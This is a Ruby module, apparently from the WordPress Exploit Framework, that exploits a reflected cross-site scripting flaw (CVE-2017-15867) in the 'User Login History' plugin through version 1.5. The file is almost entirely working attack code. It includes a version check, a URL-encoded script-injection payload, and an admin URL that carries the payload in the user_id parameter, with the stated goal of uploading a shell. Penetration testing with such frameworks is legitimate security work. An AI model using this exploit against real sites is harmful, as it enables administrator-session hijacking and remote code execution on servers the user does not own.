# frozen_string_literal: true

class Wpxf::Exploit::UserLoginHistoryReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'User Login History <= 1.5 Reflected XSS Shell Upload',
      author: [
        'rastating' # WPXF module
      ],
      references: [
        ['CVE', '2017-15867'],
        ['WPVDB', '8939']
      ],
      date: 'Oct 26 2017'
    )
  end

  def check
    check_plugin_version_from_readme('user-login-history', '1.5.1')
  end

  def xss_payload
    url_encode("\"><script>#{xss_ascii_encoded_include_script}</script><input value=\"")
  end

  def url_with_xss
    "#{wordpress_url_admin_options}?page=fa_user_login_history_listing"\
    "&date_from&date_to&date_type=login&user_id=#{xss_payload}&country_name"\
    '&country_code&browser&ip_address&role&ulh_filter_form_submit=Filter'
  end
end
